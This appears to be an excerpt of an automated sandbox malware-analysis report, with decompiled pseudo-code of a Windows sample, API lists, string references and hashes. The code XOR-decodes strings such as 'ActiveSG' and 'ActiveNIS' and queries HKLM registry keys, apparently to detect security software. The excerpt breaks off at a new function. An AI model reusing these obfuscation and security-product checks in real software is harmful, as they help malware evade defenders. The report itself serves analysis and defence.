					 *(_t345 + _t237 + 0x30) =  *(_t345 + _t237 + 0x30) ^  *(_t345 + _t237 + 0x74);
					 *(_t345 + _t237 + 0x31) =  *(_t345 + _t237 + 0x31) ^  *(_t345 + _t237 + 0x75);
					 *(_t345 + _t237 + 0x32) =  *(_t345 + _t237 + 0x32) ^  *(_t345 + _t237 + 0x76);
					 *(_t345 + _t237 + 0x33) =  *(_t345 + _t237 + 0x33) ^  *(_t345 + _t237 + 0x77);
					 *(_t345 + _t237 + 0x34) =  *(_t345 + _t237 + 0x34) ^  *(_t345 + _t237 + 0x78);
					 *(_t345 + _t237 + 0x35) =  *(_t345 + _t237 + 0x35) ^  *(_t345 + _t237 + 0x79);
					_t237 = _t237 + 6;
				} while (_t237 < 0x3c);
				_t341 =  *0x431f34; // 0x32
				 *((char*)(_t345 + 0x73)) = 0xc4;
				 *((char*)(_t345 + 0x28)) = 0xc4;
				 *((char*)(_t345 + 0x2e)) = 0x14;
				_push(_t345 + 0x6c);
				_t293 = 8;
				 *0x431f34 = _t341 + 0x32;
				 *((char*)(_t345 + 0x70)) = 0x21;
				 *((char*)(_t345 + 0x71)) = 0x71;
				 *((char*)(_t345 + 0x72)) = 0xf5;
				 *((char*)(_t345 + 0x73)) = 0x65;
				 *((char*)(_t345 + 0x74)) = 0xc0;
				 *((char*)(_t345 + 0x75)) = 0x88;
				 *((char*)(_t345 + 0x76)) = 0xf4;
				 *((char*)(_t345 + 0x2d)) = 0x9a;
				 *((char*)(_t345 + 0x2e)) = 0xe7;
				 *((char*)(_t345 + 0x2f)) = 0xa9;
				 *((char*)(_t345 + 0x30)) = 0x16;
				 *((char*)(_t345 + 0x31)) = 0x87;
				 *((char*)(_t345 + 0x33)) = 0x77;
				_push(E0041E2E0(_t345 + 0x2c, _t293));
				_pop(_t343);
				 *(_t345 + 0x1c) = 0x5f;
				 *((char*)(_t345 + 0x26)) = 0x5f;
				_push(_t345 + 0xb0);
				_t243 = 0xb;
				_push(_t345 + 0x20);
				_pop(_t323);
				 *((char*)(_t345 + 0xb4)) = 0xe;
				 *((char*)(_t345 + 0xb5)) = 0xe7;
				 *((char*)(_t345 + 0xb6)) = 0x7b;
				 *((char*)(_t345 + 0xb7)) = 0x7f;
				 *((char*)(_t345 + 0xb8)) = 0x8c;
				 *((char*)(_t345 + 0xb9)) = 0x43;
				 *((char*)(_t345 + 0xba)) = 0x5b;
				 *((char*)(_t345 + 0xbb)) = 0xb2;
				 *((char*)(_t345 + 0xbc)) = 0x81;
				 *((char*)(_t345 + 0xbd)) = 0xb0;
				 *((char*)(_t345 + 0xbe)) = 0xce;
				 *((char*)(_t345 + 0x21)) = 0xc;
				 *((char*)(_t345 + 0x22)) = 0x61;
				 *((char*)(_t345 + 0x23)) = 2;
				 *((char*)(_t345 + 0x24)) = 0x51;
				 *((char*)(_t345 + 0x25)) = 0x34;
				 *((char*)(_t345 + 0x26)) = 0x46;
				 *((char*)(_t345 + 0x27)) = 0x30;
				 *((char*)(_t345 + 0x28)) = 0x59;
				 *((char*)(_t345 + 0x29)) = 0x3a;
				 *((intOrPtr*)(_t345 + 0x28)) = E0041E250(_t243, _t323);
				_t245 =  *0x431f38; // 0x2d2c
				 *((char*)(_t345 + 0x24)) = 0x41;
				 *((char*)(_t345 + 0x25)) = 0x63;
				 *((char*)(_t345 + 0x26)) = 0x74;
				 *((char*)(_t345 + 0x27)) = 0x69;
				 *((char*)(_t345 + 0x28)) = 0x76;
				 *((char*)(_t345 + 0x29)) = 0x65;
				 *((char*)(_t345 + 0x2a)) = 0x53;
				 *((char*)(_t345 + 0x2b)) = 0x47;
				 *((char*)(_t345 + 0x2c)) = 0;
				 *0x431f38 = _t245 + 0x3d5;
				 *(_t345 + 0x20) = 0xff;
				 *(_t345 + 0x1c) = 0;
				_t288 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t335 = 0x3b26c; // executed
				_t258 = RegOpenKeyExA(0x80000002, _t345 + 0x3c, 0, 1, _t345 + 0x10); // executed
				if(_t258 != 0) {
					 *((intOrPtr*)(_t332 + 0x34)) = GetLastError();
					_t335 = 0x3004;
				}
				_t295 =  *0x431f34; // 0x32
				_t325 =  *0x431f2c; // 0x0
				_t336 = _t335 ^ _t295 * 0x000007f3;
				 *0x431f30 = _t325 & 0x00000002;
				if(RegQueryValueExA( *(_t345 + 0x20), _t343, 0, _t345 + 0x1c, _t288, _t345 + 0x18) == 0) {
					_t328 =  *0x431f38 & 0x0000ffff;
					_t298 =  *0x431f2c; // 0x0
					_t261 = _t328;
					_t262 = _t261 *  *0x431f34;
					_t299 = _t298 & _t262 - 0x00000043;
					 *0x431f2c = _t299;
					_t337 = _t336 ^ _t262 * 0x00000025;
					 *0x431f30 = _t299 & 0x00000002;
					 *0x431f34 = _t328 * 4;
					_t265 = E00425A4D(_t288, _t332, _t337, _t288, 0x42e310);
					_t346 = _t345 + 8;
					_t266 = _t265;
					if(_t265 != 0) {
						_t283 = E004259C0(_t266);
						_t346 = _t346 + 4;
						 *((intOrPtr*)(_t332 + 0x24)) = _t283;
					}
					_t301 =  *0x431f2c; // 0x0
					_t338 = _t337 * 0x2ed1;
					 *0x431f38 =  *0x431f38 | _t338;
					 *0x431f2c = _t301 - _t338;
					_t267 = E00425A4D(_t288, _t332, _t338, 0, 0x42e310);
					_t347 = _t346 + 8;
					if(_t267 != 0) {
						_t282 = E004259C0(_t267);
						_t347 = _t347 + 4;
						 *((intOrPtr*)(_t332 + 0x28)) = _t282;
					}
					_t268 =  *0x431f34; // 0x32
					 *0x431f34 = _t268 ^ ( *0x431f38 & 0x0000ffff) *  *0x431f30 * 0x00000025;
					_t270 = E00425A4D(_t288, _t332, _t338, 0, 0x42e310);
					_t345 = _t347 + 8;
					if(_t270 != 0) {
						_t281 = E004259C0(_t270);
						_t345 = _t345 + 4;
						 *((intOrPtr*)(_t332 + 0x2c)) = _t281;
					}
					 *0x431f2c = ( *0x431f38 & 0x0000ffff) + 0x50;
					 *((intOrPtr*)(_t332 + 0x30)) = 0x15;
					 *(_t332 + 0x38) = 1;
				} else {
					 *((intOrPtr*)(_t332 + 0x34)) = GetLastError();
				}
				_t227 = _t332 + 0x34; // 0x431ccc
				 *0x431f34 = ( *0x431f38 & 0x0000ffff) << 2;
				 *0x431f30 = 0x3d;
				 *((intOrPtr*)(_t332 + 0x3c)) = E0041F020( *((intOrPtr*)(_t345 + 0x28)), _t227);
				 *((intOrPtr*)(_t332 + 0x40)) = E0041F100(_t332, _t345 + 0x20, _t227);
				HeapFree(GetProcessHeap(), 0, _t288);
				RegCloseKey( *(_t345 + 0x10));
				return E00424873(0,  *((intOrPtr*)(_t345 + 0xbc)));
			}

0x0041fd56
0x0041fd5d
0x0041fd66
0x0041fd69
0x0041fd6a
0x0041fd6b
0x0041fd6c
0x0041fd70
0x0041fd76
0x0041fd7c
0x0041fd80
0x0041fd86
0x0041fd8a
0x0041fd8e
0x0041fd92
0x0041fd98
0x0041fda0
0x0041fda5
0x0041fdaa
0x0041fdaf
0x0041fdb4
0x0041fdb9
0x0041fdbe
0x0041fdc3
0x0041fdc8
0x0041fdcd
0x0041fdd2
0x0041fdd7
0x0041fddc
0x0041fde1
0x0041fde6
0x0041fdeb
0x0041fdf0
0x0041fdf5
0x0041fdfa
0x0041fdff
0x0041fe04
0x0041fe09
0x0041fe0d
0x0041fe12
0x0041fe17
0x0041fe1c
0x0041fe21
0x0041fe26
0x0041fe2b
0x0041fe30
0x0041fe35
0x0041fe3a
0x0041fe3f
0x0041fe44
0x0041fe49
0x0041fe4e
0x0041fe53
0x0041fe58
0x0041fe5d
0x0041fe62
0x0041fe67
0x0041fe6c
0x0041fe71
0x0041fe75
0x0041fe7a
0x0041fe7f
0x0041fe84
0x0041fe88
0x0041fe8d
0x0041fe91
0x0041fe95
0x0041fe9a
0x0041fe9f
0x0041fea4
0x0041fea8
0x0041feac
0x0041feb1
0x0041feba
0x0041fec1
0x0041feca
0x0041fed3
0x0041feda
0x0041fee1
0x0041fee6
0x0041feeb
0x0041fef0
0x0041fef5
0x0041fefa
0x0041feff
0x0041ff07
0x0041ff0f
0x0041ff17
0x0041ff1f
0x0041ff27
0x0041ff2f
0x0041ff37
0x0041ff3f
0x0041ff47
0x0041ff4f
0x0041ff57
0x0041ff5f
0x0041ff66
0x0041ff6e
0x0041ff76
0x0041ff7e
0x0041ff86
0x0041ff8e
0x0041ff96
0x0041ff9e
0x0041ffa6
0x0041ffae
0x0041ffb6
0x0041ffbe
0x0041ffc6
0x0041ffce
0x0041ffd6
0x0041ffde
0x0041ffe6
0x0041ffed
0x0041fff5
0x0041fffd
0x00420005
0x0042000d
0x00420015
0x0042001d
0x00420025
0x0042002d
0x00420034
0x0042003c
0x00420043
0x0042004b
0x00420050
0x00420054
0x0042005c
0x00420064
0x0042006c
0x00420074
0x0042007c
0x00420080
0x00420083
0x00420088
0x00420090
0x00420094
0x0042009c
0x004200a0
0x004200ac
0x004200ad
0x004200b3
0x004200b8
0x004200bd
0x004200c2
0x004200c7
0x004200cc
0x004200d1
0x004200d6
0x004200db
0x004200e0
0x004200e5
0x004200ea
0x004200ef
0x004200f9
0x004200fa
0x00420104
0x00420108
0x0042010c
0x00420113
0x00420114
0x00420115
0x00420116
0x0042011e
0x00420126
0x0042012e
0x00420136
0x0042013e
0x00420146
0x0042014e
0x00420156
0x0042015e
0x00420166
0x0042016e
0x00420173
0x00420178
0x0042017d
0x00420182
0x00420187
0x0042018c
0x00420191
0x00420196
0x004201a0
0x004201a4
0x004201d5
0x004201da
0x004201de
0x004201e3
0x004201e8
0x004201ed
0x004201f2
0x004201f7
0x004201fc
0x00420201
0x00420207
0x0042020f
0x0042022b
0x00420239
0x0042023e
0x00420246
0x0042024e
0x00420251
0x00420251
0x00420256
0x0042025c
0x0042026e
0x0042027a
0x0042028e
0x0042029e
0x004202a5
0x004202ac
0x004202ad
0x004202ba
0x004202bc
0x004202c2
0x004202d4
0x004202da
0x004202df
0x004202e4
0x004202e7
0x004202e9
0x004202ec
0x004202f1
0x004202f4
0x004202f4
0x004202f7
0x004202fd
0x00420303
0x00420313
0x00420319
0x0042031e
0x00420323
0x00420326
0x0042032b
0x0042032e
0x0042032e
0x0042033f
0x00420353
0x00420358
0x0042035d
0x00420362
0x00420365
0x0042036a
0x0042036d
0x0042036d
0x0042037a
0x0042037f
0x00420386
0x00420290
0x00420296
0x00420296
0x0042039b
0x0042039f
0x004203a8
0x004203b4
0x004203c7
0x004203d1
0x004203dc
0x004203fa

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00420217
HeapAlloc.KERNEL32(00000000), ref: 0042021E
RegOpenKeyExA.ADVAPI32(80000002,00000006,00000000,00000001,00000000), ref: 0042023E
GetLastError.KERNEL32 ref: 00420248
RegQueryValueExA.ADVAPI32(000000FF,00000000,00000000,00000000,00000000,?), ref: 00420286
GetLastError.KERNEL32 ref: 00420290
GetProcessHeap.KERNEL32(00000000,00000000,?,00431CCC,?,00431CCC,?,?,?,?,?,00000001), ref: 004203CA
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 004203D1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 004203DC

Strings

a, xrefs: 00420173
\, xrefs: 0041FE12
t, xrefs: 004201DE
!, xrefs: 004200B3
I, xrefs: 0041FE4E
], xrefs: 0041FF37
L, xrefs: 0041FE62
G, xrefs: 004201F7
A, xrefs: 004201D5
H, xrefs: 0042001D
D, xrefs: 0041FF07
S, xrefs: 004201F2
}, xrefs: 0041FE58
(, xrefs: 0041FE95
g, xrefs: 0041FEFF
p, xrefs: 0041FFAE
i, xrefs: 004201E3
y, xrefs: 0041FE0D
b, xrefs: 0041FEE6
e, xrefs: 004200C2
4, xrefs: 00420182
3, xrefs: 0041FE6C
, xrefs: 0041FFC6
|, xrefs: 00420034
4, xrefs: 0041FDC3
:, xrefs: 0041FE7A
[, xrefs: 00420146
e, xrefs: 004201ED
Y, xrefs: 0041FDAA
{, xrefs: 0041FDA0
0, xrefs: 0041FDDC
z, xrefs: 0041FDD2
w, xrefs: 004200EF
v, xrefs: 0041FE35
2, xrefs: 0041FDFA
S, xrefs: 0041FE2B
', xrefs: 0041FDBE
p, xrefs: 0041FE49
m, xrefs: 00420025
C, xrefs: 0042013E
,, xrefs: 0041FFCE
u, xrefs: 0041FE9A
h, xrefs: 0041FEEB
q, xrefs: 004200B8
-, xrefs: 0041FFF5
{, xrefs: 00420126
A, xrefs: 0041FE44
:, xrefs: 0041FDA5
$, xrefs: 0041FFB6
}, xrefs: 0041FF86
v, xrefs: 004201E8

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
String ID: $!$$$'$($,$-$0$2$3$4$4$:$:$A$A$C$D$G$H$I$L$S$S$Y$[$\$]$a$b$e$e$g$h$i$m$p$p$q$t$u$v$v$w$y$z${${$|$}$}
API String ID: 1434707997-4021543146
Opcode ID: 224b1897ccfee1fae5a1b9e15215ecc8e0b3d8b4bc5e84137ed56d4883ac279b
Instruction ID: d4601ab9a8fa780dd26792df891787afa6a237224ed0e76e88edd001911f5cff
Opcode Fuzzy Hash: 224b1897ccfee1fae5a1b9e15215ecc8e0b3d8b4bc5e84137ed56d4883ac279b
Instruction Fuzzy Hash: 0F12072110D7C1CDD332C779984879BBFD55BA7228F485A9DE1E84A2E3C3A98109C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00420AC8, Relevance: 105.3, APIs: 14, Strings: 46, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00420AC8(void* __eax, char __ebx, char __edx, char* __edi, void* _a4, void* _a16, void* _a20, int _a24, int _a28, intOrPtr _a32, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a64, char _a72, char _a73, char _a74, char _a75, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a88, char _a136, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a175, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, char _a202, char _a203, char _a204, char _a205, char _a206, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, char _a214, char _a215, char _a216, char _a217, char _a218, char _a219, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, char _a236, char _a237, char _a238, char _a239, char _a240, char _a241, char _a242, char _a243, char _a244, char _a245, char _a246, intOrPtr _a268) {
				void* _v0;
				void* __ebp;
				void* _t199;
				signed int _t200;
				intOrPtr* _t203;
				void* _t207;
				signed short _t208;
				long _t222;
				long _t228;
				long _t231;
				intOrPtr* _t232;
				signed short _t234;
				long _t247;
				signed int _t253;
				intOrPtr _t255;
				intOrPtr* _t269;
				char _t270;
				signed short _t273;
				intOrPtr* _t281;
				intOrPtr* _t290;
				signed int _t291;
				intOrPtr* _t297;
				char* _t298;
				void* _t302;
				intOrPtr* _t304;
				signed int _t305;
				char* _t309;
				signed int _t310;
				void* _t312;

				_t298 = __edi;
				_t199 = __eax;
				do {
					 *(_t312 + _t199 + 0x58) =  *(_t312 + _t199 + 0x58) ^  *(_t312 + _t199 + 0x48);
					 *(_t312 + _t199 + 0x59) =  *(_t312 + _t199 + 0x59) ^  *(_t312 + _t199 + 0x49);
					 *(_t312 + _t199 + 0x5a) =  *(_t312 + _t199 + 0x5a) ^  *(_t312 + _t199 + 0x4a);
					 *(_t312 + _t199 + 0x5b) =  *(_t312 + _t199 + 0x5b) ^  *(_t312 + _t199 + 0x4b);
					 *(_t312 + _t199 + 0x5c) =  *(_t312 + _t199 + 0x5c) ^  *(_t312 + _t199 + 0x4c);
					_t199 = _t199 + 5;
				} while (_t199 < 0xf);
				_t200 =  *0x431f34; // 0x32
				_t302 = 0x32;
				 *0x431f34 = _t200 + _t302;
				_a42 = 0x78;
				_a48 = 0x78;
				_a36 = 0x4e;
				_a37 = 0x64;
				_a38 = 0x70;
				_a39 = 0x7c;
				_a40 = 0x73;
				_a41 = 0x69;
				_a43 = 0x7e;
				_a44 = 0x3d;
				_a45 = 0x5e;
				_a46 = 0x72;
				_a47 = 0x6f;
				_a49 = 0x3d;
				_a50 = 0x51;
				_a51 = 0x5e;
				_a52 = 0x1d;
				_t203 = 0;
				do {
					 *(_t312 + _t203 + 0x24) =  *(_t312 + _t203 + 0x24) ^ 0x0000001d;
					_t203 = _t203 + 1;
				} while (_t203 < 0x11);
				_a185 = 0xc3;
				_a189 = 0xc3;
				_a170 = 0xf1;
				_a196 = 0x94;
				_a208 = 0xf1;
				_a211 = 0x94;
				_a168 = 0x8a;
				_a169 = 0x26;
				_a171 = 0xa3;
				_a172 = 0xc8;
				_a173 = 0xed;
				_a174 = __ebx;
				_a175 = 0x1e;
				_a176 = 0x25;
				_a177 = 0x12;
				_a178 = 0x52;
				_a179 = 0x96;
				_a180 = 0xad;
				_a181 = 0x9e;
				_a182 = 0xbf;
				_a183 = 0x75;
				_a184 = 0xdd;
				_a186 = 0xce;
				_a187 = 0x7d;
				_a188 = 0xa8;
				_a190 = __edx;
				_a191 = 0x7b;
				_a192 = 0xa8;
				_a193 = 0;
				_a194 = 0x35;
				_a195 = 0x16;
				_a197 = 0x19;
				_a198 = 0x2f;
				_a199 = 0xd6;
				_a200 = 0x67;
				_a201 = 0x14;
				_a202 = 0x50;
				_a203 = 0xf4;
				_a204 = 0x54;
				_a205 = 0x88;
				_a206 = 0xfc;
				_a209 = 0x60;
				_a210 = 0xc1;
				_a212 = 0xfb;
				_a213 = 0xaf;
				_a214 = 0x72;
				_a215 = 0x5d;
				_a216 = 0x1c;
				_a217 = 0x3f;
				_a218 = 0x62;
				_a219 = 0xd2;
				_a220 = 0x9b;
				_a221 = 0xa9;
				_a222 = 0x92;
				_a223 = 0x41;
				_a224 = 0x9b;
				_a225 = 0x85;
				_a226 = 0xfe;
				_a227 = 0x50;
				_a228 = 0x90;
				_a229 = 0xf4;
				_a230 = 0xac;
				_a231 = 0x3e;
				_a232 = 0x85;
				_a233 = 0x32;
				_a234 = 2;
				_a235 = 0x24;
				_a236 = 0xa0;
				_a237 = 0x28;
				_a238 = 0x6c;
				_a239 = 0xee;
				_a240 = 0x53;
				_a241 = 0x27;
				_a242 = 0x68;
				_a243 = 0xc6;
				_a244 = 0x6c;
				_a245 = 0xf5;
				_a246 = 0xfc;
				_t207 = 0;
				do {
					 *(_t312 + _t207 + 0xa8) =  *(_t312 + _t207 + 0xa8) ^  *(_t312 + _t207 + 0xd0);
					 *(_t312 + _t207 + 0xa9) =  *(_t312 + _t207 + 0xa9) ^  *(_t312 + _t207 + 0xd1);
					 *(_t312 + _t207 + 0xaa) =  *(_t312 + _t207 + 0xaa) ^  *(_t312 + _t207 + 0xd2);
					_t207 = _t207 + 3;
				} while (_t207 < 0x27);
				_t208 =  *0x431f38; // 0x2d2c
				_t253 =  *0x431f34; // 0x32
				 *0x431f34 = _t253 + _t302;
				_a72 = 0x41;
				_a73 = 0x63;
				_a74 = 0x74;
				_a75 = 0x69;
				_a76 = 0x76;
				_a77 = 0x65;
				_a78 = 0x4e;
				_a79 = 0x49;
				_a80 = 0x53;
				_a81 = 0;
				 *0x431f38 = _t208 + 0x442;
				_a24 = 0xff;
				_a28 = 0;
				_a20 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t222 = RegOpenKeyExA(0x80000002,  &_a136, 0, 1,  &_a16); // executed
				if(_t222 == 0) {
					_t255 = _a32;
				} else {
					_t247 = GetLastError();
					_t255 = _a32;
					 *(_t255 + 0x74) = _t247;
				}
				if(RegQueryValueExA(_a16, _t298, 0,  &_a28, _a20,  &_a24) == 0) {
					 *((intOrPtr*)(_t255 + 0x70)) = 0x17;
					 *(_t255 + 0x78) = 1;
				} else {
					 *(_t255 + 0x74) = GetLastError();
				}
				RegCloseKey(_a16);
				_t228 = RegOpenKeyExA(0x80000002, _t309, 0, 1,  &_a16); // executed
				if(_t228 != 0) {
					 *(_t255 + 0x74) = GetLastError();
				}
				_t231 = RegQueryValueExA(_a16,  &_a88, 0,  &_a28, _a20,  &_a24);
				_t310 = _t309 | 0xffffffff;
				if(_t231 == 0) {
					_push(_a20);
					 *0x431f34 = 0x6d;
					_t304 =  &_a168;
					_t232 = E0042CFCE(_t255, 0x7d6, _t304, __eflags);
					_t312 = _t312 + 4;
					while(1) {
						_t290 =  *_t232;
						_t269 = _t290;
						__eflags = _t290 -  *_t304;
						if(_t290 !=  *_t304) {
							break;
						}
						__eflags = _t269;
						if(_t269 == 0) {
							L21:
							_t232 = 0;
							L23:
							__eflags = _t232;
							if(_t232 == 0) {
								 *(_t255 + 0x64) = 0x7d6;
							}
							goto L25;
						}
						_t297 =  *((intOrPtr*)(_t232 + 1));
						_t281 = _t297;
						__eflags = _t297 -  *((intOrPtr*)(_t304 + 1));
						if(_t297 !=  *((intOrPtr*)(_t304 + 1))) {
							break;
						}
						_t232 = _t232 + 2;
						_t304 = _t304 + 2;
						__eflags = _t281;
						if(_t281 != 0) {
							continue;
						}
						goto L21;
					}
					asm("sbb eax, eax");
					asm("sbb eax, ebp");
					goto L23;
				} else {
					 *(_t255 + 0x74) = GetLastError();
					 *0x431f2c = 0x5a;
					L25:
					_t270 =  *0x431f30;
					_t291 =  *0x431f2c; // 0x0
					 *0x431f30 = 0x3d;
					_t234 = 0x77 - _t270;
					 *0x431f38 = _t234;
					 *0x431f34 = (_t234 & 0x0000ffff) << 2;
					_t273 = _t270 + _t291 + 0x0000000b & 0x00000016;
					if( *(_t255 + 0x64) != 0x7d6) {
						 *(_t255 + 0x64) = _t310;
						 *(_t255 + 0x68) = _t310;
						 *(_t255 + 0x6c) = _t310;
						_t234 =  *0x431f38; // 0x2d2c
					}
					_t305 =  *0x431f2c; // 0x0
					 *0x431f2c = _t305 & _t273 * (_t234 & 0x0000ffff) - 0x00000043;
					_t191 = _t255 + 0x74; // 0x173
					_t307 = _t191;
					 *0x431f34 = 0x6d;
					 *0x431f38 = 0x3a;
					 *((intOrPtr*)(_t255 + 0x7c)) = E0041F020( &_a36, _t191);
					 *((intOrPtr*)(_t255 + 0x80)) = E0041F100(_t255,  &_a64, _t307);
					HeapFree(GetProcessHeap(), 0, _a4);
					RegCloseKey(_v0);
					return E00424873(0, _a268);
				}
			}

0x00420ac8
0x00420ac8
0x00420ad0
0x00420ad4
0x00420adc
0x00420ae4
0x00420aec
0x00420af4
0x00420af8
0x00420afb
0x00420b00
0x00420b09
0x00420b0c
0x00420b13
0x00420b17
0x00420b1b
0x00420b20
0x00420b25
0x00420b2a
0x00420b2f
0x00420b34
0x00420b39
0x00420b3e
0x00420b43
0x00420b48
0x00420b4d
0x00420b52
0x00420b57
0x00420b5c
0x00420b61
0x00420b66
0x00420b70
0x00420b70
0x00420b75
0x00420b76
0x00420b7f
0x00420b86
0x00420b8f
0x00420b96
0x00420b9d
0x00420ba4
0x00420baf
0x00420bb7
0x00420bbf
0x00420bc7
0x00420bcf
0x00420bd7
0x00420bde
0x00420be6
0x00420bee
0x00420bf6
0x00420bfe
0x00420c06
0x00420c0e
0x00420c16
0x00420c1e
0x00420c26
0x00420c2e
0x00420c36
0x00420c3e
0x00420c46
0x00420c4d
0x00420c55
0x00420c5d
0x00420c65
0x00420c6d
0x00420c75
0x00420c7d
0x00420c85
0x00420c8d
0x00420c95
0x00420c9d
0x00420ca5
0x00420cad
0x00420cb5
0x00420cbd
0x00420cc5
0x00420ccd
0x00420cd5
0x00420cdd
0x00420ce5
0x00420ced
0x00420cf5
0x00420cfd
0x00420d05
0x00420d0d
0x00420d15
0x00420d1d
0x00420d25
0x00420d2d
0x00420d34
0x00420d3c
0x00420d44
0x00420d4c
0x00420d54
0x00420d5c
0x00420d64
0x00420d6c
0x00420d74
0x00420d7c
0x00420d84
0x00420d8c
0x00420d94
0x00420d9c
0x00420da4
0x00420dab
0x00420db3
0x00420dbb
0x00420dc3
0x00420dcb
0x00420dd3
0x00420dda
0x00420de2
0x00420dea
0x00420df0
0x00420e07
0x00420e1e
0x00420e25
0x00420e2c
0x00420e2f
0x00420e34
0x00420e3a
0x00420e71
0x00420e77
0x00420e7b
0x00420e80
0x00420e85
0x00420e8a
0x00420e8f
0x00420e94
0x00420e99
0x00420e9e
0x00420ea3
0x00420ea8
0x00420eae
0x00420eb6
0x00420ed1
0x00420eeb
0x00420eef
0x00420f00
0x00420ef1
0x00420ef1
0x00420ef7
0x00420efb
0x00420efb
0x00420f25
0x00420f32
0x00420f39
0x00420f27
0x00420f2d
0x00420f2d
0x00420f45
0x00420f5a
0x00420f5e
0x00420f66
0x00420f66
0x00420f84
0x00420f86
0x00420f90
0x00420fab
0x00420fac
0x00420fb6
0x00420fbd
0x00420fc2
0x00420fc5
0x00420fc5
0x00420fc7
0x00420fc9
0x00420fcb
0x00000000
0x00000000
0x00420fcd
0x00420fcf
0x00420fe5
0x00420fe5
0x00420fed
0x00420fed
0x00420fef
0x00420ff1
0x00420ff1
0x00000000
0x00420fef
0x00420fd1
0x00420fd4
0x00420fd6
0x00420fd9
0x00000000
0x00000000
0x00420fdb
0x00420fde
0x00420fe1
0x00420fe3
0x00000000
0x00000000
0x00000000
0x00420fe3
0x00420fe9
0x00420feb
0x00000000
0x00420f92
0x00420f98
0x00420f9b
0x00420ff4
0x00420ff4
0x00420ffc
0x00421007
0x0042100e
0x0042101b
0x00421021
0x0042102a
0x00421030
0x00421032
0x00421035
0x00421038
0x0042103b
0x0042103b
0x00421041
0x00421055
0x0042105b
0x0042105b
0x00421066
0x00421070
0x00421086
0x00421095
0x004210a2
0x004210ad
0x004210ca
0x004210ca

Strings

}, xrefs: 00420C36
r, xrefs: 00420CE5
N, xrefs: 00420B1B
P, xrefs: 00420D4C
r, xrefs: 00420B48
P, xrefs: 00420C9D
s, xrefs: 00420B2F
I, xrefs: 00420E99
?, xrefs: 00420CFD
', xrefs: 00420DBB
2, xrefs: 00420D7C
`, xrefs: 00420CC5
=, xrefs: 00420B3E
(, xrefs: 00420D9C
T, xrefs: 00420CAD
S, xrefs: 00420DB3
>, xrefs: 00420D6C
^, xrefs: 00420B5C
c, xrefs: 00420E7B
t, xrefs: 00420E80
b, xrefs: 00420D05
o, xrefs: 00420B4D
i, xrefs: 00420E85
p, xrefs: 00420B25
=, xrefs: 00420B52
$, xrefs: 00420D8C
S, xrefs: 00420E9E
Q, xrefs: 00420B57
&, xrefs: 00420BB7
], xrefs: 00420CED
v, xrefs: 00420E8A
{, xrefs: 00420C4D
5, xrefs: 00420C65
^, xrefs: 00420B43
R, xrefs: 00420BF6
e, xrefs: 00420E8F
/, xrefs: 00420C7D
i, xrefs: 00420B34
%, xrefs: 00420BE6
N, xrefs: 00420E94
u, xrefs: 00420C1E
g, xrefs: 00420C8D
|, xrefs: 00420B2A
d, xrefs: 00420B20
~, xrefs: 00420B39
h, xrefs: 00420DC3

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $$%$&$'$($/$2$5$=$=$>$?$I$N$N$P$P$Q$R$S$S$T$]$^$^$`$b$c$d$e$g$h$i$i$o$p$r$r$s$t$u$v${$|$}$~
API String ID: 0-2688660894
Opcode ID: 275044dc268e96307c5c1d7a8061e8d26214911b5098ad1d596d252ca58391fa
Instruction ID: 3dd40b40c22330b319ba406ce4954b0818ba03c8536ba7ab025f512d1f7ed51d
Opcode Fuzzy Hash: 275044dc268e96307c5c1d7a8061e8d26214911b5098ad1d596d252ca58391fa
Instruction Fuzzy Hash: FBF1FA2010D7C18AD332CB789848B9FBFD55BA6314F484A9EE1D95B2E3D3B98109C767

Uniqueness

Uniqueness Score: -1.00%

Function 00421550, Relevance: 84.3, APIs: 9, Strings: 39, Instructions: 302
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00421550(void* __ebx, void* __ecx, void* __edi, void* __esi) {
